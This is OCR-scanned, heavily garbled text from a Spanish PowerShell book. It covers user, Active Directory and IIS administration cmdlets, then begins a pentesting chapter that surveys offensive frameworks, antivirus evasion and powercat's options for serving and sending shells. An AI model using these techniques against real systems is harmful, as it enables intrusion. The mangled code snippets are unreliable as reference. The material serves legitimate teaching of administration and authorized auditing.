1 al ¢ o v - o _is Fyiis g S

cuando al cédigo anterior se le elimina el Gltimo bucle, obteniéndose la lista de propiedades ~‘
puede consultar de un usuario. : PIOPIERAdes que.Se

Ejemplo2: Listado de usuarios remotos

Con ¢l siguiente ejemplo se quiere generalizar i
5 en las acciones remotas con A
§ nAD :
de cuentas locales. SI en bases de datos

Es importante recalcar que existen distintos métodos para acceder a la lista de usuarios de la maquin
» N ¥ o. » i a

remota. El ‘prc.scnle ejemplo especifica como utilizar ADSI para que interacttie de : q

con otra maquina. manera remota

. ’ L i & ; ;

: arnl l((j)‘bt:ar 6.S_tL'0bje:lV0 fkb.t cumplirse una premisa y es que el usuario con logueado en la maquina
ocal debe existir en la maquina remota y ser administrador. Tras este requisito, el codigo del ejempl
anterior cambia simplemente en la conexion. . i

$_.psbase.s
{Write-Host § .name §

| wherel

maclassname -eq ‘user’ |
. lastlogin)

Ejemplo 3: Crear usuario

En primer lugar. ¢ S ARRE :
- pm‘mr.lugar. mmlo cnlla> ocasiones anteriores, se debe crear la conexion apuntando, en este caso
a maquina, ya sea local o remota. Se di : : y a0
i ‘ ispone de un método denominado Cr:
¢l nombre de usuario y el ti T inado Create al cual se le pasa
isuario y el tipo user. Se puede, y es recomendado, asignar una contraseiia ¢ 4
Scon = [ADSI SIE a contraseiia al usuario.

iSuaric

"WinNT://<nombre macguina>”

Create (" ! ;<nombre ususrio>)

suario.

Susvario.Se

El nombre i

: ¢ de usu: ‘lac sefl

P i usqum y la contrasefia deben ser una cadena de texto. El método Set/nfo realiza la
N 9 i 8 1 2 i Y :

B «HI() permanente del usuario en el sistema. Por defecto, el usuario debera cambi

sefia en el siguiente inici i g y : S

i st g guiente inicio de sesion y para realizar la creacion de los usuarios hay ¢ ==

a Powershell con elevacién de privilegios. .

Elemplo 4: Eliminar usuario

Pana la eliminacic
eliminacion de io si
de u ar 2 |
n usuario simplemente debe ejecutarse el método Defete indicando el tipo

Jeto que es, user:
, USer, ¢ ¥ A >3 = o8
que realizar |a coanig:()mble d;l usuario que se desea eliminar. Por supuesto. en primer lugar
apuntando a la maquina s el nivel d6 : =
8600 = [ADST]“winir: juina, que es el nivel donde cuelgan los usuarios.
Didote (runers | LY HOVETS: MAGLTES"
user’, <nombre usuario>)
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ADSI: La API para Active Directory

El directorio activo podria ser tratado con el proveedor WinNT, pero se simplifica la gestion utilizando
el proveedor LDAP, que esta creado especificamente para este uso. La estrategia para la gestion del
directorio activo es similar que la utilizada con WinNT. En primer lugar se debera conectarse al

objeto del directorio activo y realizar su administracion.

ara indicar ciertos valores en el momento de la conexion,

LDAP utiliza unos parametros especiales p:
directorio activo. En la siguiente tabla se facilitan

consulta, modificacion de valores de los objetos del
los utilizados en el presente apartado.

Pardametro Descripcion
CN Identifica el nombre del objeto
ouv Identifica una unidad organizativa
DC Identifica el componente de dominio
DN Identifica de forma univoca un objet9 en la estructura del directorio. Se
puede ver como la ruta hacia el objeto, especificando CN, OU. DC

Tabla 2.70: Parametros LDAP.

El DN. Distinguished Name, comienza por el CN. Common Name, y se va especificando los
elementos que hay por encima del objeto hasta llegar al dominio, es decir, pasando por las diferentes
OV, Organizational Unit, hasta el DC, Domain Component.

Conexion al AD

La conexion al directorio acti
generalmente, la més utilizada para
raiz del dominio actual se ejecutard el siguiente codigo. N
que no se tiene porque saber que objetos componen el dominio. Esta conexi
conectados. realizar la busqueda de objetos a través de la estructura.

vo puede realizarse en local o en remoto. Esta Gltima conexion es,
administrar distintos dominios. Para realizar la conexion a la
o se especifica ninglin objeto concreto, ya
on es ideal para, una vez

Sdominic =

Si se requiere una conexién a un objeto en concreto, seria tan sencillo como almacenar en
una variable el objeto que devuelve la cadena de conexioén, Sdominio = [ADSI] ‘LDAPA
CN=<ohjeto>,0U=<nombre OU>.DC=<dominio>,DC=<dominio raiz> 2

Para realizar una conexion con las credenciales de otro usuario administrador, ya sea para concctsf

a otro dominio distinto en el que no se encuentra Ja maquina origen o porque se
otras credenciales en mismo dominio, hay que utilizar la clase de .NET Framework System:
DirectoryServices. DirectorvEntry. Se explicaran a lo largo del apartado las distintas clases de N
Framework que son necesarias para la administracioén del directorio activo.

desea utilizal
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La sintaxis es sencilla, hay que crear un objeto de la clase anteriormente comentada indic

en la §8d3113 el nombre del dominio o IP a la que se requiere conectar. el usu ntac d.ll'l(ll(.‘ﬂll(lu
ildmi”'St"aflol'-_ y la contrasefia. Un ejemplo de esta sintaxis es: Sdmnin)’u = ‘\l/;\n-o(')/q-ue. (Iel?u =
DirectorvServices.DirectorvEntry(‘'LDAP://<IP o nombre dominio>",'< ”m”_'m \f] )18(/5‘ .s're\m'.
‘ceontraseida>"). v S 0 administrador=>".

Buscar objetos en el AD

Lr.na vc; SZ ha ;studmdo como realizar las conexiones con la estructura del servicio de directorio la
busque dd e Jle-tos va a resultar muy sencilla. Se utilizard un filtro con el que obiener los objetos
requeridos por el administrador y 2 métodos que mostraran todos los valores filtrados o I. Sh
los encontrados. el primero

La b;lsquuja sevaa poder reflhzar de cualquier tipo de objeto. incluso se podra utilizar metacaracteres
" : o e P ¥ ) RN
con los que conseguir ampliar el abanico de la busqueda. Para la bisqueda de objetos se utiliza I:
clase de NET Framework System.DirectoryServices. DirectorvSearcher R =0

La estrategia que se seguird es la siguiente, en primer lugar se obtendré la conexién al dominio raiz
ya sea local 0 remoto, o la conexi6n al objeto en concreto sobre el que se re' uie g (?mh”']io e
a partir de dxgho nivel. Una vez creada la conexion se creard el objeto de b?’m e {L.m‘l ubflvlmdﬂ
la clase n?cncmnada anteriormente. Este objeto dispone del métoda Filter el .“qL-lT( 4, a Pﬂ.ll‘[r de
para. mediante reglas, filtrar los objetos. Por Gltimo se utilizard los métodos Fin(L/(u)fchs ]/fl‘ ill)l(l/! II'IT‘(ID
- All. €N

funcion de si s¢ quiere mostrar el primer objeto filtrado o todos los filtrados

Wminio
isqueda

‘Searcher (Sdominio)

(77]

busqueda ., F =
busqueda . FindAll ()

Hay que recalc: i 3 i
ay q calcar que el filtro puede llevar comparaciones compuestas, es decir, con Y 6gicos
S, 3 gicos

u O logicos. Un eje : i
2icos. mplo dec esa comparacién seria § i
g ! n seria Shusqueda Filter="(& (¢ i
ki e e para a Shusqueda.Filter="(&(comparacion])

Ejemplo 1: Listar equipos

El C(’)diL’() para ista equipo ue se

. ara list I ]05 2quipos S > X ini

) i encuentran en C] g . 'S 1
o Si‘- g q dominio sobre e que sc ha realizado la
: [ADSI]"LDAP: //DC

= New-Object

earches (Sdominio)

iltar=’ (ob

“busqueda, Findall

Ejefnplo 2: Listar usuarios y grupos
El cédigo para e

| listado de i :
X S usuarios IrUpos i > g : .
és que lo f y grupos es similar, salvo que en los usuarios hay que listar

ltrado pertenece a una categorfa denominada persona.
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ner (Sgominio)

Administracion . -
] 1 inc ente c usuarios. grupos
La administracion sobre el directorio activo se realiza. pnnupalnk]nu. 'SO:IL dcc;oncs . Si;?m.]a);
P S b ke & ar o cl1ertas ¢ S $
inidades organizativas. En algunos casos el codigo para llevar a cabo €€
v eS Org 5 g
entre estos objetos.

ne Tes ente apé Ilddo se e 1a lab acciones Sllllllan: entre es tos b]C Q0S.
g .
,\pllCﬂlaﬂ de manera con ur
E l p p'l S 0 1

y especificando los casos en los que no son iguales.

Ejemplo 3: Crear objetos ' R
e muestra la creacion de objetos, usuarios, grupos y unidades (lnganutln;)v:sl;
ir : . jeto sobre la ruta L
) ( “mer método crea el objeto sobre la

Se utili 8 t y Setinfo. El primer me ‘ s
Se utiliza el método Create, Pu tfo. b R O § e
. 'ﬁc‘"lda en la conexion, El segundo aplica cambios sobre el objeto r c; L o e ldo‘dc

e d A0, o 7 ) % . = i il :
eprlL'l ’ istente en el directorio activo. Estos métodos han sido estudiados parta
¢l objeto persiste

En el siguiente ejemplo se

gestion de cuentas locales.

" o utilizar el atributo UserPrincipalName, pan
1 ¢l protocolo Kerberos en vez de
unidad organizativa o en la raiz

En la creacion de usuarios es al(amcnlgrecgfncndad by s
aplicar seguridad mas alta en la autenticacion. ya que b‘L 1Lt_,ne:1m.
utilizar NTLM. Los usuarios pueden almaf:enarse enun )g;n :j usiu..,u.i(\q
del dominio. En el ejemplo, se almacenara en el contenedor de usuarios.

5
1

1 creacio oAl i | aes organiza ivas €s S Illl a la AC e usuarios nlll)[(l iente hl” qu
i Cree |0ﬂd L ros, s
E X Z A 1 <

Ls creaci |1LL\]ld¢d S

indicar que lo que quiere crear es tuna ou.

) . - . e ’ ) . "0
‘ ara crea una t ]ld ‘ld na ativa €n ¢ erl (IL otra. la c ldLI d dk, conexior Seria ae lonmin :
G Z l mt C l e Q

e S < <

[ADSI] 'LDAP://OU=<0u padre=,DC= [ 1paths,DC=local’.

Ejemplo 4: Mover objetos | IP——
Para mover objetos dentro del directorio activo s€ dlS[.)OHt.' ct l:eménm;a il 57
también se utiliza para renombrar el nombre de los ubjetosbA?’ e 1] lstind ¥
lugar, se crea un objeto que apunta a la ruta del proveedor L 4 S

r
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que se quiere mover. Despues, sc gjecuta el método MoveHere pasanda como parametro la ruta,
sera el origen, del objeto que se quiere mover.

que

no>,

1*LDAP:// QU=<

sdqestinc.MoveHere (*LDAP://0U=<ou ari gen>, DC

lewva nomore
')
contenedor 3 otxXQ
¢/ /CN=Builtin, DC
LDAP: / /CN uarie> ths, DC=local’ , ' CN= <norri

Cmdlets desde Windows 2008 R2

La version Windows Server 2008 R2 dispone de un madulo. que se instala en el servidor cuando ol
rol de Active Directory es agregado. Este modulo aporta un proveedor con ¢l cual poder navegar
por el directorio activo como si se tratase del sistema de archivos. También aporta un conjunto de

emdlets con el que realizar las tareas de administracion sobre el directorio activo. Para cargar ¢l

modulo se dispone del emdlet Impori-Module. La instruccion para cargar el médulo es Import-
Module ActiveDirectory.

El proveedor de Active Directory

El proveedor facilita la navegacion por el directorio activo de tal forma como si el usuario

5S¢
encontrase navege

indo por ¢l sistema de archivos. En el proveedor se puede utilizar los cmdlets
bisicos para crear, eliminar, listar y moverse por el sistema de archivos. salvo que esta vez las
acciones se realizan sobre el directorio activo.

Una vez el modulo de Active Directory esta cargado se accede a €l con la instruccion ed ad: como si
se cambiase de unidad. Para listar el contenido, directamente /s o ger-childitem.

Users\Administrador> cd ad:
\> Get-ChildIten

ObjectClass

uis
DC=i64,.DC=1local
CN=Configuration,DC=i64,DC=local
CN=Schena,CN=Configuration,DC=i64, DC=local
DC=DomainDnsZones ,DC=i64,DC=local
DC=ForestDnsZones,DC=i64,DC=local

figuration configuration
a - dMD
inDr domainDNS
thns domainDNS

Fig. 2.31: Acceso v listado de recursos en el proveedor de Active Directory.,
Para la nave

et-location.
LDAP ¢ ¢

gacion entre los distintos contenedores del directorio activo se utiliza el comando cd o

La navegacion se realiza con las rutas completas que se estudiaron con el proveedor
apartado anterior.



i64,DC=local’

PS AD:\> get—Location * \D!
PS 9D:\DC=164,DC=loca1> 1s

OhjectClass
builtinDomain
container
uvganizationalUnit ou
container

infrastruc turellpdate
lostAndFound
container
nsDS—QuotaContainer
containex

containe»

container

Name

Computers
Domain Controllers
ForcignSecurityPr...

INTDS Quotas
yogran Data
stem

sers

CN=Sy
CN=Us

Sig. 2.32: Cambio de contenedor ¥ listado de abjeros

Ejemplo 1: Crear objetos
Para la creacion de
estudiara la creacion
especifica el emdlet para cada requisito.

de usuarios. grupos. unidades or|

inguishedName

i DC

CN Cumpute-S,DC:i64,DC:]oca1
omain
CN=ForeignSccurityPrincipals
CN=lnfrastructure,DC=164,DC=lucal
CN=Lost9ndFound,DC=164,DC=1ocal

CN=Managed
CN=NTDS Quotas .DC=16
CN=Programn gata,

objetos existen los emdlets cuyo verbo es New.
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4,DC=1local

Guntrollers,DC=164,DC=local
,DC=i64,DC=local

Service Accounts,DC=164.DC=local
4_DC=local

DG 64,.DC=1local
stem,DC=164.DC local

C=i64,.DC=local

ers.

En el siguiente ejemplo se
ganizativas y equipos. En la siguiente tablase

Cmadlet

-

Descripcion

New-ADUser

Crea un nuevo usuario en ¢l AD

New-ADGroup

Crea un NUEVO grupo en el AD

New-ADCompulter

Crea un nuevo equipo en el AD

New-ADOrganizationalUnit

-

Crea una nueva unidad organizativa

Tahla 2.11: Cmdler de creacion de ohfelos.

Estos emdlets disponen de bastantes parametros pa
continuacion se muestra en la siguiente t

abla los més interesant

ra la creacion personalizada de los objetos. A
es del emdlet New-ADUser.

IR

Parametro

Descripcion

Nombre del usuario

Nanie
Enabled Indica si la cuenta debe estar habilitada o deshabilitada. Se espe
Tnablec B ) . g
cifica con las variables booleanas $nue O Sfalse

AceoutPassword

Indica una nueva cont

raseiia, Se debe especificar en formato
SecureString

CannotChangePassword

Indica si la contrasena s€ puede cam

biar 0 no. Se especificd

mediante valores booleanos

" Indica si la contra
C hungel’a.\:\'n'ordA tLogon 2 )

sefia debe modificarse en el siguiente iniclo

gesion

Tabla 2.12: Pardametios de New-ADUser:
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141 sjeuiet e C d 246 c < ) a campia ontras
N OdIZ0 Crea un usuario con non hlL ] ll)l( y | LUdl no lﬂdl }
cal s l 1 COI (4
< e d

e i i S
debera cambiar la clave en el siguiente inicio de sesién y la cue ] ili
S y la cuenta estd habilitada.

por seguridad ¢l parametro de la clave s .
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Fig. 2.33! Instalacion del madulo en la version Windows Server 2008 R2

Una vez instalado o habilitado el modulo se realizara la importacion de los emdlets de la siguiente
manera import-module webadministration. Para comprobar el niimero de cmdlets, alias y funciones

que se disponen en este nuevo médulo de gestion de I1S se puede ejecutar la siguiente instruccion
get-command —module webadministration.

En la siguiente imagen se puede visualizar la ejecucion de ambas instrucciones y una pequena lista
de cmdlets, alias y funciones disponibles.

ministrador mport— ule webadministration

*\Users\Administrador> Get—Command —Module webadministrat

Name

Add—-YebConfiguration
Add—YebConf igurationLock
Add-YWehConf igurationProperty
Backup—VehConfiguration
Begin—WebhCommitDelay
Clear—WehConf iguration
Clear—WebRequestTracingSettings
ConuvertTo-WebApplication
Disable—-WehGlobalModule
Disable—WebRequestTracing
Enabhle—WehGlobhalModule
Enable-WebRequestTracing
End-HebCommitDe la

Fig. 2.34: Importacion del modulo de 1S (1° parte).
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Get—VWebfippDonain S ik
Get—VWebApplication (dﬁtNHl(lOSlhos
Get-tlebAppPoolState
Get—\WebBinding : / def :
Get—lehConf igFile _os pool definen algunos aspectos de segurid: :
get—HebCOngiguPationB 2 geama cal sl - pectos de seguridad y propiedades de las aplicaciones que
et—WehConf igurationbackup S <ACIONES que st ejecutan
Get—UebConfigurationLocation i
Get—UebConfigurationLock ara crear un nuevo pool de aplicaciones se puede ej
Get—HethnfigurationProperty CNCMHTUHFUH”ﬂ/hﬁQCOconlL.LanDPkpqLdéamCUUHCIC”“”P/”yﬂ”“PbJpDPOU/Dd“w.
Get-WebFilePath B i IO v mo es new-item indicando como ruta la del pr "“d e ul‘amun.;
Get—WebGlobalModule new-item 1S \AppPools\<nombre nuew > proveedor IIS. por gjemplo
nuevo /)()0/) Jemplo,
Get—WebHandler !
Get—UWebltemState
Get—UehHanagedModule
Get—WebRegquest
Get—\ebsite
Get—lWebhsiteState
Cet—WebURL
Get—HebUirtualDirectorg
Function 11S:

Fig, 2.34. Importacion del médulo de I1S (2° parite)

0Ss ]I/‘ neatic I/)”()/ Q poo ; asilupc C €
ol ) 17 e Jl’]lk‘lL ONES SONn procesos que agrupan un conjun I
nio de aplicacic

IPS C:\ B84/26,20812 22:093:
PS C:\ 8 193:50 3
4/26/2812 22:83:58 > Neuw-UebAppPool pooll64

Name
Applications

Started

PS C:\ B4/26/ :@4:
2012 22:84:86 > new-item IIS:\AppPools\poalPabl
o

Name

En Windows Server 2008 no existe el emdlet import- module por lo que. tras |a instalacion comentada Applications
anteriormente. se debe ejecutar el acceso directo, creado tras la instalacion, que carga el modulo en
la Powershell.

Como dato de interés se puede obtener el nimero de funciones. emdlets y alias disponibles

con la importacion de dicho madulo con la siguiente instruccion (get-command Module

Started Default Web Site

webadministration).count.
wee

Started
Started
Started

El proveedor de 1S
Como se ha mencionada en alguna ocasion en este libro el proveedor facilita la gestion y navegacion
sobre los objetos, facilitando al administrador la manipulacién del entorno. [1S dispone de un A continuacion se especifican disti
: : S o gk ; e ' an distintos come - i
proveedor al cual se accede mediante la instruccion iis: o ed iis: como se puede visualizar en la pool de aplicaciones comandos que pueden ser utilizados para la tion de |
. o a la gestion de ¢

Fhis: 258 Thapmis
ig. 2.36: Creacion de un pool de (I(’/l‘(ll:'f"ﬂ/ £
J N

imagen de ejemplo.

pS G:\ 094/26/2812 18:29:81 > cd iis: Cmd
pPs 1I1S:\Sites 04/26/2012 18:29:04 > 1s mdlet —
i Descripcion
si ngs ot-We > ; - ;
il_) igifi E}_'Eiiif_l__?ft_;}_' _EE_E_? ; ‘(”’ WebhAppPoolState Indica el estado en el que se encuentran los distintos poo/
Started zSystemD http ?;1:;.1. ;’lpliu:ciuncs de la méc 2 Ligas o
Started ¢:Ninetpub\ftproot ftp *:21° a maquina

Elimina el pool ”
’ o ! = . Hid © 0ol aue se especifi . .
vr Zos o Remove-WebAppPool S e se especifique junto al emdler. También
Fig. 2.35: Accesoy listado de recursos en el proveedor de 1IS. ! ) se podria eliminar con ren : ¢ ambien
¥ nar con remove-item 1S \AppPools ,
o o i L

1O

P
En el proveedor se pueden utilizar los emdlets basicos, pero lo més interesante es utilizar los cmalets . pool -
. 5 - 4. 0% g o Kestar bt 4 — Reinisia @ ;
que aporta el modulo de 1S para Powershell. Para la navegacion entre los distintos elementos \‘”’”‘" 1ppPool Reinicia el pool de aplicaciones. deteniendo | =
i JIHICS, cniendo las aplicacione

proveedor se utiliza el emdlet set-location. Cuando se realiza un listado sobre una ruta que CO“(’e asociadas a ¢l
aplicaciones, por ejemplo sobre la ruta 1IS:\Sifes. se puede visualizar como S€ detalla el estado
aplicacion, en egjecucion o parada, la ruta fisica donde se aloja el contenido de la aplicacion ys

puertos y protocolos estan atadas dichas aplicaciones.

.S'Iu/)- Weh, \ppPool

Y , Detiene el pool de aplicaci
'Sl””-”"/""/’/’/’u:;/ pool de aplicaciones

Arranca el pool de aplicaci
[ pool de aplicaciones especificado

Tahia 2.14- il IS pava la gestton del poo > aplica 11es
ozl Cmdlets ! i
7 para la A ¢ !
gesi tf // ol de aplicacione
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de 3 partes diferenciadas, en primer lugar se debe crear
de aplicaciones que la ejecute y en tercer lugar
o del sitio web a la ruta de la aplicacion.

La creacion de una aplicacion web dispone
la aplicacidn, en segundo lugar asociarla a un pool
realizar la copia de la carpeta que dispone el contenid

dispone del cmadlet new-webapplication. Los pardmetros necesarios
physicalpath'y applicationpool. En el siguiente ejemplo se
se ejecuta en el pool indicado y Cuya ruta

Para crear una aplicacion web se
para la correcta creacion son name, site,
puede visualizar la creacion de una aplicacion web la cual
fisica también se especifica mediante el parametro physicalpath.

ame ib4p —Site rdefault web site’ —PhysicalPath C:Ninetpub\uuu

PS C:N\inetpub Q472672012 22:38:59 7 New-WebApplication —n

—ﬂpplication?nol poolPablo

Physical Path

Nane fipplication pool Protocols

poolPablo http
Fig. 2.37: Creacion de una aplicacion web.

A continuacion se especifican emdlets dedicados a la gestion de las aplicaciones web contenidas en

los sitios web.

Cmdlet Descripcion
Lista las aplicaciones web contenidas en un sitio web

Get-WebApplication

Elimina una aplicacion web

Remove-WebApplication
ConvertTo-WebApplication Permite convertir un dire

ctorio virtual en una aplicacion web

Tubla 2.15: Cmdlets para la gestion de aplicaciones web.

Las aplicaciones web se

b se dispone del cmdlet new-website.
ejemplo para la creacion

Para la creacion de un sitio we
A continuacion se especifica un

concentraran en los distintos sitios web.
de un sitio web.

C:N\inetpub 04/26/20812 23:87:17 > Neu-Website —Name i64 —Port B8 ~HostHeader teatibd —PhysicalPath Senv:SystenbriveNin
etpub\tectitd

Path

Started C:\inetpub\testit4

G:N\inctpub 84/26/2812 23:07:19 > Get-Website
Physical h Bindings

IDefault Web Site 1 Stopped exNinetpub\uwwroot http »:80:
64 2 Started s etpubstestibd http w:8@:testibd

Fig. 2.38: Creacion de un sitio web.

lacionados con la gestion de los

A continuacién se especifica una tabla que resume los emdlets re

sitios web en Powershell.

Cmdlet Descripeion
Get-WebSite
Get-WebSiteState

Remove-WebSite

Lista los sitios web disponibles en 1S

Indica el estado de ejecucion de los sitios web disponibles en 11S

Elimina un sitio web

Capitulo Il. Seripting en PowerShell

Cmdlet

Descripcién

Start-WebSite
Stop-WebSite

Arranca un sitio web

Detiene la ejecucion de un sitio web

Tabla 2.16- C 2 )
2 Cmdlets para la gestién de sitios web

La gestion de los sitios FTP
£ 53 L des R o) ) N
pe e TS R S S‘c.fsdc PowerShell es realmente sencilla. Se dispone de |
as Site. el ¢ SR . 2 8 S e un solo emdie
i ite, el cual es new-webfipsite. Los pardmetros més utili /56 o emdlet
g son name, port, physicalpath, hostheader e ipadd g SURCE
: ess.

ps C:\inetpub 84/26/2812 23:43:
b _PAddress 127.0-8-1 3:43:27 > New-WebFtpSite —Nane pabloFTP ~Port 21 —P}
=PhyszicalPath C:\inet
pub\uww —HostHeader FI|
s ny

Physical Path Bindi
Ph ndings

s
Started C:Ninstpub\uww

Nane sState
Default Web Site 1 Q;;p_

Stopped ¥
16 2 Started 4 Ninetpub\vwuroot
pah1oFTP 3 Started neEPuR tostiod

Fio. 2.39- Creacion 4
. 2.39: Creacion de un sitio FTP en Powershe],
overshed].

El hackup es uno de los procesos mas ¢ i iPa

i g e 1[15 c;}:::??:/u/‘,\l?w y delicado al que se enfrenta un administrador en
B L g sk ,\ .7; | (r!.\rpione de un emdlet para realizar el proceso de copia \([l
sl Uiccucihr'm el et € u.or. =s realmente sencillo llevar a cabo dicho et l,. ‘, =
W S . et backup-webconfiguration se produce 0 proceso ya ¢
configuracion del servidor. e i se produce

Le

a copia de seguridad de la

PS C:\i
inetpub B84/27,2812 8@:11:35 > Backup-WebConfiguratio
n

cndlet Backup—-l!ehonfl uration en la osicion 1 d A i0n e comandos
P g n pos 1S 3 e la canalizac d
ll‘OpOl‘Clolle valores para los parametros siguientes:

Escriba %7 para obtener ﬂyuda. e

Creation Date

27/04/,2812 0:00:00

PS C:\inetpub 5
pub B4/27/2012 08:14:45 > Get-WebConf igurationBackup

Creation Date

27/,04/20812 0:00:80

Fig 40: Creacidn ¢ ackup configur o1 e un s VE
! Ve ) . 7
(&) tel hack /2 de la 21 1 e Hie

Conel ¢
emdlet get-webconfi !
get-webconfigur " e i i
Sl g '1.'/7‘.!1“1:/::///)(/( kup se listan los distintos archivos de copia d
E S Siltos w ! 1) — l ina las copias de
seguridad realizad ) web. El cimdlet remove-webconficurationbackup elimi ‘R U“d'lld i
lzadas previamente sobre el servidor SRESSS
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Capitulo I1I
PowerShell puro: El arte del pentesting

1. Introduccion

Desde hace unos afios PowerShell viene en las versiones de Microsoft Windows y cada vez ofrece
mds posibilidades para poder interactuar con todo el sistema, ya sea cliente o servidor. Poco a
poco han ido apareciendo herramientas que interactuando con los médulos que Microsoft ha ido
desarrollando sobre directorio activo, SOL Server. Sharepoint. 11S. ctcétera. pueden ayudar a |os
pentesters en una auditoria. La fuerza de PowerShell es que estd basado en NET, por lo que ticne
todo el potencial del ficnnework al alcance de la consola. Ademas. ser una consola de objetos le da
una luerza importante a PowerShell.

Durante los Gltimos afios se han ido desarrollando diversos seripts, incluso algunos frameworks.
oricntados a la auditoria. Las herramientas estan desarrolladas para dar soluciones en diversas
temiticas como es la respuesta ante incidentes, la fase de post-explotacion de un pentest, evasion
de clementos de seguridad como puede ser un antivirus, la fase de recopilacion de informacidn.
orientadas a la escalada de privilegio en la fase de explotacion, etcétera. A continuacion. se enumeran
algunos de los frameworks y herramientas més conocidas y utilizadas:

- Lanavaja suiza traducida y mejorada a PowerShell denominada powerca,

- PowerTools es una parte del famoso framework Veil-Framework. Con este conjunto de

herramientas se podrd llevar a cabo chequeos de configuraciones erréneas en maquinas y

realizar escaladas de privilegio. Ademds, permite recopilar gran cantidad de informacion
sobre los dominios Microsofi, usuarios, equipos, recursos compartidos. elcétera.

- Posh-SecMod. Este conjunto de scriprs desarrollados por Carlos Pérez proporcionan
funcionalidades para recopilar informacién. automatizacion de escéneres como Nessus.
funcionalidades de post-explotacion, funciones para auditar el sistema. funciones para
interactuar con la AP] de VirusToral, Shodan o Metasploit.

- PowerSploir. Este framework dispone de scripts para llevar a cabo ejecucion de codigo
sobre maquinas Windows. recopilacion de informacién, bypass de AV. modificacion de
scripts, generar persistencia, realizar escaneos de red, etcétera.

- Nishang. Este framework proporciona scripts para interactuar con backdoors a través
de PowerShell, cjecucién de codigo, funcionalidades para realizar escaladas de privilegio.
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recoleccion de informacién, realizacion de escaneos de puertos, realizar fuerza bruta,

pivoting. etcétera.
- Otras herramientas. Cada

PowerShell. En este capitulo se
ayudaran al pentester a Jograr ¢l éxito en entornos Microsofi.

vez son mas las herramientas creadas para gjecutarse en
podran estudiar una gran cantidad de ellas. las cuales

Metasploir tiene algunos modulos que permiten apoyarse

Ademas, el framework de explotacion
explotacion. Este hecho ha impulsado el éxito de

en PowerShell para llevar a cabo la fase de posi-
PowerShell entre pentesters.
e en los entornos Microsoft todo puede ser

Por Gltimo, el pentester tiene que tener en cuenia qu
tado en la consola pasard mas desapercibido,

realizado a través de PowerShell. y que el codigo ejecu
pudiendo llevar a cabo la evasion de AV.

En algunos casos, €l pentester no contard con herramientas que poder utilizar, no podra tener un
nmap, satori 0 una foca, pero casi siempre tendré disponible la PowerShell.

2. Powercat: la navaja suiza

La herramienta nefcaf es una de las mas utilizadas en el mundo del hacking, ya que tiene una gran
versatilidad y flexibilidad. Entre las numerosas cosas que se pueden llevar a cabo con la herramienta
se muestra como ejemplo la posibilidad de conectar con diversos servidores. asociar una shell o
cind a un puerto concreto o colocarse a la escucha para recibir conexiones y sesiones. Nercar suele
utilizarse para realizar operaciones de depuracién de aplicaciones de red, aunque viéndolo desde un
punto de vista mis oscuro. podria ser utilizado para abrir puertas traseras o hackdoors.

A continuacion se muestran diversos pardmetros gue son utilizados en neteat:

Parametro Descripeion
/ Neteat se coloca a la escucha. Recibird una conexion y se cerrard. El puertoa
abrir s especificard con el parametro -p
Especifica el puerto en el que se pondrd a la escucha, 0 sobre ¢l que se realizard
-p la conexion remota, dependiendo de si nefcat se utiliza para generar una
conexién o para recibirla
-1 El puerto se abre en UDPy no en TCP
x Se utiliza con el parametro ~/ 'y —p y hace que no se cierre ¢l puerto tras una
conexion, por lo que permanece abierto
-V Modo verbose
R

Tabla 3.01 Algunos parémetros de netca.

i
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N

Powercat es un scri, i S - :
- Le t n su:;;r que implementa las funcionalidades de nercar. incluso aumentiandolas. El
seript presenta u ion de e ds : : 3 JE=
funclziox‘:alidadesl'ga: uncion denominada powercat, la cual puede recibir distintos pardmetros con
i ul}

e idénticas a las de netcar. Para obtenerlo se puede descargar de la siguiente direceid
URL huips:/igithub.com/besimorhino/powercat. - - SEE

- Qué se puede hacer vercat? L i i
; (,mem zs i ;::);1017011 ercar? Larealidad es que el niamero de parametros de powercat respecto
A que a priori, se pueden realizar mas acci .

: : K as acciones. A netcat se | i
e 5 : ' S. se le denomina
naa J:(lme lgznpero powercat aumenta las funcionalidades de ésta. Con powercat se puede reali 5
una conexi : 2 : zar
e rrc::dmodo Fllente a un servidor remoto, o por otro lado crear un listener. es decir,
ole o servidor y esperar conexiones. Estas acciones son idénticas a la e,
basicas que se pueden llevar a cabo con nercat. . I

owerc i i i i i
P - a; pen‘};nte enviar y servir shells. Es decir, el usuario puede dejar powercar a la escucha
cuando se reciba ion servi i ;
s i una conexién servir una shell. o por el contrario realizar una conexion contra ot .
aeteat o powercat remoto y enviar una shell, incluso una PowerShell o

Powercat permite i

i dg dmég re?hza‘r S(lilblda y descarga de ficheros contra otro powercat. Ademas. se permile
a tr; 5 : : g . Y 3
i o a;/es de UDP y DNS. Otra tfuncionalidad interesante que proporciona es la
b <« S e, ’ - - . ¢

:i -l oy’ acer relay, incluso relay entre conexiones de diferentes protocolos. Por ltimo
ene ener en cuenta que esta magnific o A ' 0, se

gnifica herramienta permite realizar A5i

—_— TN S A ar un escaneo basico de
puertos TCP. A continuacion se muestran los distintos parametros de powercar: e

Parametro Descripeion
-l Se deja el seripr a la escucha de conexiones
-¢ Se utiliza para realizar conexiones en modo cliente desde powercar
- Se especifica el puerto, tanto para la escucha de conexiones como para conectar
con un servidor remoto
-¢ Ejecuta el comando que se indique a continuacion
-ep Ejecuta una PowerShell
- Relay, cuyo formato es — ep:ip:puerto
-1 Trafico bajo el protocolo UDP
. Ruta al fichero de entrada, puede utilizarse en la transferencia de archiv ¢
dos scripts de powercat ik
af Indica la ruta al fichero de salida, puede utilizarse para indicar la ruta dénd
(- escribira el fichero en una subida ki
| -dny Transferencia de trafico sobre protocolo UDP (discar2)
| ep Repeticion del proceso, evitando que se cierre el puerto
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. T ™
Parametro Descripcion

-g Genera un pavload

-ge Genera un payload encodeado

Tabla 3.02: Parametros de powercal.
Como se puede visualizar, powercat presenta varios pardmetros mas que nefcal por defecto,
ampliando las funcionalidades de éste. y simplificando algunas acciones.

- . r .

Conexion simple

Con powercat se puede crear una conexion, por defecto por el protocolo TCP, con otros servidores,
Cuando el usuario quiere crear una conexion contra un servidor remoto s¢ puede ejecutar la siguiente
instruccion powercat —¢ <direccion [P> -p <Puerto remoto a la escucha>. En el caso de que se
quiera utilizar powercal cOmo servidor, se debe ejecutar la siguiente instruccion powercat —l —p
<puerto por el que se escucha conexiones>. Hay un parametro opcional que permite cambiar el
formato de la salida de datos. Este parametro es el —0, donde se puede especificar sting o bytes.
nite tomar el control de la consola

En este primer ejemplo s¢ utilizaré la aplicacion msfd, la cual perr
ante el uso de los parametros

de Metasploit en remoto. Se conectara a msfd a través de powerea, medi
P
PS C:\Users\pgonzalez\Desk

ey

